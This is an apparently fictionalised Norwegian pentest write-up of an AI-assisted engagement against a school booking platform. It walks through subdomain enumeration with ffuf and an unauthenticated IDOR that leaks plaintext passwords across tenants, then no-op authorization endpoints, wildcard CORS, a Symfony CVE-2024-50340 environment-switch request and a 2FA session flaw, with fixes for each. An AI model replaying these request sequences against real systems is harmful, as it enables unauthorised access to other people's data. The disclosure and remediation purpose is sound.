---
title: "Cross-tenant-funnet overlevde verifiseringen — og var verre"
date: 2026-07-28
description: "Et uautentisert booking-API lekket bookinger og passord i klartekst på tvers av 56 skole-tenanter. Her er hele kjeden, fra subdomain-enumerasjon til den negative kontrollen som bekreftet bruddet."
tags: ["pentest", "api-security", "idor", "multi-tenant", "ai", "security"]
url: https://erik.no/blogg/2026-07-28-cross-tenant-funnet-overlevde-verifiseringen
---

<Callout type="info">
  **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
  innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
  er tilfeldig. Detaljer fra reelle oppdrag er sanert.
</Callout>

Forrige gang jeg skrev om et cross-tenant-funn, overlevde det ikke
verifiseringen — en [negativ kontroll nedgraderte det fra brudd til
støy](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering).
Denne gangen var det omvendt: det som så ut som et enkelt manglende
autorisasjonssjekk, overlevde alle kontrollene jeg kunne finne på, og det var
verre enn jeg trodde første gang jeg så det. Det verste funnet i hele oppdraget
var også det enkleste: et uautentisert `GET` mot et resource-endepunkt som
returnerte andre tenants' bookinger med passord i klartekst.

## Kontekst

Kunden, Brunost AS (`brunostas.no`), driver et booking- og resurssystem
solgt til skoler. Hver skole er en tenant med sin egen workspace, sitt eget
subdomain og — i teorien — sin egen lese- og skrivpassord-beskyttelse. IT-sjefen
Tor Jacobsen (`tor.jacobsen@brunostas.no`) ba om én ting: «kom inn, finn
kundedata, finn alt dere kan». Scope var tretten klienteide hostnames under
`brunostas.no` og `brunolearn.no`, uautentisert testing, med strenge
provider-eksklusjoner — delt hosting hos One.com, Cloudflare-edge og
ILAIT/FS Data skulle ikke røres.

Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger
endepunkter, kjører fuzzere og foreslår neste steg; jeg styrer scope, tar
vurderingene og gjør de bitene som krever menneskelig dømmekraft —
verifisering, alvorlighetsgrad, hva som skal beholdes som bevis. Denne
gangen fikk en agent parslet JavaScript-bundlen til booking-SPA-en og
rekonstruert hele API-rutene offline — både de Bearer-beskyttede og de
uautentiserte. Det var det kartet som åpnet hele kjeden.

## Det jeg fant: uautentisert cross-tenant-lesing med passord i klartekst

Booking-API-et på `api-booking.brunostas.no` er en Node/Express-backend
foran Cloudflare. Den har to typer ruter: noen krever en Bearer-token i en
JS-adminaged cookie kalt `auth`, andre er åpne. Problemet er at
resource-rutene — de som returnerer faktiske bookinger — ligger i den åpne
familien. Ingen autentisering, ingen tenant-avgrensning, ingen sjekk på om
kalleren tilhører workspace-en den spør om.

Kjeden var pinlig rettfram: enumerer tenantene, finn en resource, les alle
bookinger med passord.

## PoC / Reproduksjon

**Forutsetninger:** ingen. Hele kjeden er uautentisert — ingen konto, ingen
sesjon, ingen header. Det er poenget, og det er det den negative kontrollen
under bekrefter.

### 1. Enumer tenantene via subdomain-koder

SPA-bundlen avslørte at workspace-oppslag skjer via
`/workspaces/subdomain/{subdomain}`, og subdomain-kodene er tre bokstaver. Jeg
lot AI-en sette opp en `ffuf`-kjøring mot endepunktet med en tre-bokstavs
ordliste, rate-begrenset til 40 forespørsler per sekund:

```bash
ffuf -u https://api-booking.brunostas.no/workspaces/subdomain/FUZZ \
  -w 3letter.txt -mc 200 -rate 40 -t 20 -timeout 10 -s
```

```http
GET /workspaces/subdomain/lkm HTTP/1.1
Host: api-booking.brunostas.no

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"ok":true,"result":{"id":8,"name":"Lokkestien Montessoriskole","subdomain":"lkm","ownerId":"11111111-1111-4111-8111-111111111111","settings":{"workspaceId":8,"readPasswordEnabled":false,"writePasswordEnabled":false,"showBookedBy":true,"allowedBookingAdvanceDays":null},"calendarIntervals":[]}}
```

56 tenants kom tilbake med `200`. Hver respons avslørte workspace-id, navn,
eier-UUID og — viktigst — `readPasswordEnabled` og `writePasswordEnabled`.
55 av 56 hadde begge satt til `false`. Én tenant hadde `writePasswordEnabled:
true`; lesepassord var av hos alle. Det betyr at lesebeskyttelse i praksis ikke
eksisterer for noen tenant, og skrivebeskyttelsen er en klient-side-sjekk som
API-et uansett ikke håndhever (se steg 4).

### 2. Les en resource med alle bookinger og passord

Fra resource-stat-endepunktet (`/resource-bookings/resource-stat?workspaceId=8`,
også uautentisert `200`) fikk jeg resource-navn og booking-antall. Men det var
`GET /resources/{resourceUuid}` som var det virkelige hullet — det returnerer
hele resource-objektet med _alle_ bookinger, inkludert `bookedBy`-navn og et
`password`-felt i klartekst:

```http
GET /resources/22222222-2222-4222-8222-222222222222 HTTP/1.1
Host: api-booking.brunostas.no

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 3122538

{"ok":true,"result":{"id":"22222222-...","type":2,"name":"Det Grønne Rommet","workspaceId":8,"resourceBookingsCount":5679,"resourceBookings":[{"id":"33333333-...","name":"Innlogging barn","bookedBy":"Karin Borgen","password":"<REDACTED-PLAINTEXT>","fromDate":"2023-08-22T12:00:00.000Z","toDate":"2023-08-22T12:15:00.000Z","workspaceId":8,"bookedQuantity":1,"savedWithWritePassword":false,"isRecurring":false}]}}
```

Responsen var 3,1 MB. Jeg beholdt én maskert post som bevis og slettet ikke
bulk-responsen — single-shot-doktrinen i SoW-en sa ett minimalt bevis, så
det var det jeg tok. Passordfeltet var der, i klartekst, for en booking
`bookedBy` en navngitt person i en annen tenants workspace. Jeg hadde aldri
logget inn. Jeg hadde aldri engang oppgitt et workspace-passord.

### 3. Negativ kontroll — autorisasjonsporten som sjekker ingenting

Dette er steget som skiller «et endepunkt returnerte 200» fra et bekreftet
brudd. Booking-API-et har to autorisasjonsporter, `/resource-bookings/view/authorize`
og `/resource-bookings/write/authorize`, som skal validere workspace og
passord før lesing/skriving. Jeg spurte en agent om å teste dem mot to
_workspace-id-er som ikke finnes_ (999998 og 999999) med to forskjellige
tilfeldige passord:

```http
POST /resource-bookings/view/authorize HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json

{"workspaceId":999999,"password":"arbitrary-canary-not-a-real-password"}

HTTP/1.1 200 OK

{"ok":true,"result":true}
```

```http
POST /resource-bookings/write/authorize HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json

{"workspaceId":999998,"password":"different-arbitrary-canary"}

HTTP/1.1 200 OK

{"ok":true,"result":true}
```

Begge portene returnerte `result:true` for en workspace som ikke eksisterer,
med et passord som er oppdiktet. Porten sjekker ingenting. Uten denne
kontrollen kunne noen argumentert for at resource-endepunktet var «offentlig
ved design» eller at jeg hadde gjettet et gyldig passord. At en ikke-eksisterende
tenant autoriseres med søppelpassord, beviser at autorisasjon er en no-op.

### 4. Skrive-pipelinen når forretningslogikk uten autentisering

For å se om det samme gjaldt skriving, sendte jeg bulk-create og bulk-delete
med _bevisst ikke-eksisterende UUID-er_ mot to eksisterende workspaces. Målet
var å se om forespørselen stoppes av auth-middleware eller når forretningslogikken:

```http
POST /resource-bookings/bulk HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json

{"workspaceId":8,"resourceId":"44444444-4444-4444-8444-444444444444","bookings":[]}

HTTP/1.1 404 Not Found

{"code":"resource_not_found","message":"Not Found","ok":false}
```

`404 resource_not_found`, ikke `401 Unauthorized`. Forespørselen passerte
auth-middleware, nådde resource-oppslaget, og feilet først der — fordi
UUID-en jeg oppga ikke finnes. Hadde jeg oppgitt en ekte resource-UUID, ville
den nått create-logikken. Samme mønster for `/resource-bookings/bulk/delete`:
`404 resource_not_found`, ikke `401`. Jeg opprettet eller slettet ingen
ekte booking — det ville krevd å mutere produksjonsdata, og det gjorde jeg
ikke.

### 5. Wildcard-CORS gjør det cross-origin utnyttbart

Det siste leddet: en Chromium-PoC fra en vilkårlig origin bekreftet at
skrive-pipelinen er callable fra en hvilken som helst nettside i en
brukers browser. OPTIONS-preflight:

```http
OPTIONS /resource-bookings/bulk HTTP/1.1
Host: api-booking.brunostas.no
Origin: https://evil.example.net
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: content-type
```

`Access-Control-Allow-Origin: *` på create-, delete- og
authorize-endepunkter. En ondsinnet side kan preflighte, sende og lese
responsene. Kombinert med at auth er en no-op, betyr det at en drive-by-side
kan lese andre tenants' bookinger og passord i en innlogget brukers browser.
<Severity level="critical" />

## Mitigering

Kjernen er at resource-, booking- og autorisasjonsrutene mangler
server-side tenant- og autentisasjons-sjekker. Fiksen er å kreve en gyldig,
tenant-scoped autorisasjon på hver resource-, workspace- og
booking-operasjon, og fjerne passord fra API-responser og lagring helt.

```diff
 router.get('/resources/:uuid', async (req, res) => {
-  const resource = await getResource(req.params.uuid);
+  const user = await requireAuth(req);
+  const resource = await getResource(req.params.uuid);
+  if (resource.workspaceId !== user.workspaceId) return res.status(404).end();
   res.json({ ok: true, result: resource });
 });
```

```diff
-const authorized = await checkWorkspacePassword(workspaceId, password);
+const user = await requireAuth(req);
+if (!user || user.workspaceId !== workspaceId) return res.status(401).end();
```

I tillegg: roter alle eksponerte passord, varsle berørte tenants, bytt ut
wildcard-CORS med en allowlist over godkjente originer, og returner `404`
(ikke `403`) på fremmede UUID-er så existence ikke bekreftes.

## CVE-2024-50340: Symfony dev-mode på Assist

Assist-portalen (`assist.brunostas.no`) er en Symfony 7.0.10-app. En agent
flagget at versjonen er i det berørte området for CVE-2024-50340, som lar en
uautentisert requester bytte kernel-miljø via en rå query-string. Jeg
reproduserte det manuelt med et lite Python-script — to eksakte
gjengivelser pluss en helsesjekk, ingen autentisering, ingen dataaksess:

```http
GET /__sagene_runtime_probe_7f3b__/?=+--env=dev HTTP/1.1
Host: assist.brunostas.no
Accept: text/html
Connection: close

HTTP/1.1 500 Internal Server Error
X-Debug-Exception: Class "Symfony\Bundle\DebugBundle\DebugBundle" not found
X-Debug-Exception-File: /var/www/html/vendor/symfony/framework-bundle/Kernel/MicroKernelTrait.php:136
Content-Type: text/html; charset=utf-8

[full Symfony 7.0.10 exception page: absolute paths, source excerpts, stack trace]
```

Begge gjengivelsene returnerte identisk body-SHA-256
(`abf4413c...`), og `GET /auth/login/` etterpå ga normal `200` —
miljøbyttet er per-request, ikke persistent.

<Callout type="warning">
  Jeg forsøkte å kjede det videre — profiler, `/_wdt`, `/_fragment`,
  `/.env`, `/composer.json`, kildekode. Alt stoppet i det samme
  `DebugBundle`-feilen: dev-kernelen kan ikke boote fordi
  `DebugBundle` ikke er installert i produksjon. Ingen `APP_SECRET`,
  ingen DSN, ingen RCE, ingen auth-bypass. CVE-en er ekte og bekreftet,
  men impacten her er informasjonsdisclosure og tilgjengelighet, ikke
  kodekjøring.
</Callout>

<Severity level="high" /> — uautentisert, reprodusert to ganger, og det
som lekker (versjon, absolute stier, kildeutdrag) gjør ethvert neste funn
i samme app lettere å utnytte. Fiksen: oppgrader fra end-of-life Symfony
7.0 til en patchet linje, sett `register_argc_argv=Off` for web-SAPI, og
strip debug-headere i edge-en.

## 2FA som ikke invaliderer eksisterende sesjon

På en seljregistrert canary-konto testet jeg Assist sin
2FA-livssyklus. Funn: å aktivere e-post-2FA verken roterer eller
invaliderer en `PHPSESSID` utstedt mens 2FA var av.

**Forutsetninger:** eid canary, 2FA av, autentisert `PHPSESSID` lagret i
minnet.

1. Logg inn med canary, lagre `PHPSESSID`.
2. Aktiver e-post-2FA: `POST /auth/2fa/set/email/` → `302` til
   `/dash/settings/2fa/`. Sesjons-ID er uendret.
3. I en ny, isolert browserkontekst: sett inn den eksakte pre-enable
   cookie-en og naviger til `GET /dash/`.
4. Resultat: `200` med canary-dashbordet, ingen 2FA-utfordring.

<Callout type="info">
  **Negativ kontroll:** direkte navigasjon til `/dash/` etter passord men
  før OTP → redirect til `/auth/2fa`. Fjernet/array-typet
  `_auth_code` → ingen bypass. Respons-tampering → ingen bypass. Gammel
  OTP i ny login → avvist. Det er ikke en login-bypass — det er at en
  _allerede stjålet_ sesjon overlever 2FA-aktivering. En angriper som
  allerede har sesjonen, beholder tilgangen inntil utlogging eller
  server-side utløp.
</Callout>

<Severity level="medium" />. Opprydding: jeg deaktiverte 2FA, logget ut,
verifiserte at uautentisert `/dash/` redirecter til `/auth/login/`, og
beholdt null OTP/TOTP-secrets. Fiksen: roter sesjons-ID og invalider alle
andre aktive sesjoner ved 2FA-aktivering, deaktivering og metodebytte.

## De andre funnene

Disse er ekte og bekreftet, men kortere her fordi de enten bygger på det
samme eller er lavere alvorlighetsgrad:

- **Åpen seljregistrering på Assist** <Severity level="high" />.
  `/auth/register/` oppretter en «Konsulent»-konto uten e-postverifikasjon
  eller admin-godkjenning. To uavhengige kontoer bekreftet det. I seg selv
  ga kontoene 403/404 på admin-, location- og ticket-ruter — men kombinert
  med ethvert senere rolle- eller objektautorisasjonsfunn blir det en direkte
  vei til kundedata. Fiks: krev verifisert firmadomain og admin-godkjenning.

- **SendGrid API-token i offentlig repo** <Severity level="high" />. I et
  offentlig GitHub-repo (`eivindm/PostSender`, fil `PostSenderAPI.py:8`,
  commit fra mars 2025) lå en SendGrid-klasse token, med avsenderidentitet
  `eivind.mortensen@brunostas.no` i samme fil. Gitleaks og en uavhengig
  TruffleHog-detector fant samme verdi. Jeg validerte den _ikke_ mot
  SendGrid — det er tredjeparts-SaaS og utenfor scope. Fiks: roter tokenet
  umiddelbart, sjekk SendGrid-aktivitet fra mars 2025, fjern det fra
  Git-historikk, og flytt secrets til miljøbasert lagring.

- **Ingen login-throttling eller lockout på Assist** <Severity level="medium" />.
  Gjentatte feilede innlogginger ga ingen `429`, ingen utlåsing, ingen
  backoff. Spesielt alvorlig kombinert med at booking-passordene lekker i
  klartekst — de kan prøves mot Assist-login. Fiks: per-konto og
  per-kilde throttling, eksponentiell backoff, breached-password-sjekk.

- **Brukernummerering på Assist** <Severity level="medium" />.
  Duplikat-registrering og timing-forskjeller skiller eksisterende fra
  ikke-eksisterende kontoer. Fiks: identisk status, body og timing for
  begge tilfeller.

- **Default Apache-origin på storage** <Severity level="medium" />.
  `storage.brunostas.no` serverer en ukonfigurert Apache-defaultside og
  avslører en tilsynelatende direkte origin. Samme mønster som
  [origin-serveren som omgikk Cloudflare](/blogg/2026-06-03-solid-app-origin-omgar-cloudflare)
  i et tidligere oppdrag. Fiks: fjern ubrukt vhost, begrens origin til
  tiltenkt reverse proxy.

- **Booking-API enumererer brukere** <Severity level="low" />.
  `/users/login` returnerer distinkte `user_does_not_exist`-responser som
  avslører gyldige kontoer. Fiks: normaliser auth-feil og timing.

## Blindveier og forkastede falske positiver

Halve verdien i et AI-i-loopen-oppdrag ligger i det du forkaster. Her er det
som så lovende ut og ikke holdt:

- **Assist admin/export-tilgang.** Seljregistrerte konsulent-kontoen fikk
  403/404 på admin, location, ticket og export-ruter. Header-manipulasjon,
  metode-negotiation, `_switch_user`, `_format`, mass-assignment og
  objekt-ID-varianter ga ingenting. Den mistenkte «alle kunder»-Excel-eksporten
  var spesifikt testet — den var _ikke_ tilgjengelig uautentisert og returnerte
  ikke kunderegister til lav-privilegert rolse. Det negative resultatet skal
  ikke rapporteres som en PII-lekkasje.

- **Booking admin-token.** Bearer null/undefined, usignert `alg:none`-JWT,
  rolle-headere, path-rewrites, login-SQLi, NoSQL-operator-injection og
  prototype-pollution ga ingen token. Én passord-reuse-pass mot fem
  bekreftede booking-brukernavn feilet med to-sekunders spacing. Ingen
  OpenAPI, Swagger, GraphQL, health eller debug-endepunkter var eksponert.

- **Injection.** 74 begrensede forespørsler mot booking og assist — SQL,
  NoSQL, kommando, SSTI, LDAP, traversal — alle negative. Booking sine
  `500`-responser med interne stier/stack-traces var feilhåndtering og
  uhandlet not-found, ikke injection. Boolean- og timing-kontroller viste
  ingen differential.

- **XSS og prototype-pollution.** Ingen reflektert eller DOM-XSS; Assist
  kodet attributter og Trix fjernet event/SVG/JavaScript-URL-innhold før
  innsending. Booking sin `defaultSettings` JSON-til-Lodash-merge-endring
  `Object.prototype` ikke. Ingen security-impact-gadget.

- **On-prem CVE-er.** Ingen bekreftet. CVE-2024-38475/38474,
  CVE-2026-22557 og CVE-2026-42533 forble ubekreftet fordi
  pakke-revisjon/konfigurasjon manglet, backends var utilgjengelige, eller
  trygg validering ville krevd et crash-primitiv. Booking-CVE-bølgen var
  negativ — ingen bekreftet CVE utover Assist-funnet.

## Verktøy og hvem som kjørte hva

- **Endepunkt-kartlegging:** agent parslet booking-SPA-bundlen offline og
  rekonstruerte Bearer-beskyttede og uautentiserte rute-familier. AI-generert.
- **Tenant-enumerasjon:** `ffuf` mot `/workspaces/subdomain/FUZZ` med
  tre-bokstavs ordliste, rate 40/s. AI satt opp kommandoen; jeg satte
  rate-limit og scope.
- **IDOR-verifisering:** resource-lesing og autorisasjonsport-testene kjørte
  agenten; jeg valgte ut den ene posten som ble beholdt (single-shot) og
  bestemte at bulk-responsen ikke skulle lagres.
- **CVE-2024-50340:** jeg skrev og kjørte `probe_runtime.py` manuelt — to
  eksakte GET-gjengivelser, en diskriminator og en helsesjekk.
- **2FA-replay:** jeg gjorde hele arbeidsflyten i Playwright mot den eid
  canary-en manuelt; agenten skrev en offline verifikator som sjekket det
  redigerte beviset mot faste assertions.
- **SendGrid-token:** Gitleaks og TruffleHog (offline, verifikasjon av) —
  AI-kjørt. Ingen SendGrid-forespørsel ble gjort.

## Hva jeg lærte

- **Det enkleste endepunktet var det verste.** Ingen smart bypass, ingen
  kjedet 0-day — bare et `GET` uten autentisering som returnerte passord.
  Når agenter kartlegger ruter, er det de «åpne» familiene som fortjener
  mest oppmerksomhet, ikke de som krever token.
- **Den negative kontrollen bestemmer alvorlighetsgraden.** At
  autorisasjonsporten returnerte `true` for en ikke-eksisterende tenant med
  søppelpassord, er det som gjør dette til et bekreftet brudd og ikke
  «kanskje det er offentlig ved design». At bulk-create returnerte `404`
  og ikke `401`, beviser at auth-middleware er passert.
- **Passord i API-responser er en force-multiplier.** Selve lekkasjen er
  alvorlig; at passordene kan prøves mot Assist-login (som ikke har
  throttling) gjør det til et sammensatt scenario. Behandle
  passord-eksponering som et credential-rot-event, ikke bare en
  data-lekkasje.
- **Bounded negatives er funn de også.** At Excel-eksporten holdt, at
  injection var negativ, at dev-kernelen ikke kunne boote — disse er det
  som holder alvorlighetsgraden nøyaktig. En agent produserer plausible
  funn fort; verifiseringen er det som skiller dem fra støy.

## Veien videre

Førsteprioritet er booking-API-et: steng eller firewall det inntil
autorisasjon er på plass, fjern passord fra responser, og roter alle
eksponerte passord. Deretter Symfony-oppgradering og
SendGrid-token-rotasjon. Jeg ville lagt en automatisert test som krever at
en uautentisert requester mot `/resources/{uuid}` i en annen tenant
returnerer `404` — ikke `200` med passord. Det er testen som ville fanget
dette før det nådde produksjon, og det er testen som holder det fikset.
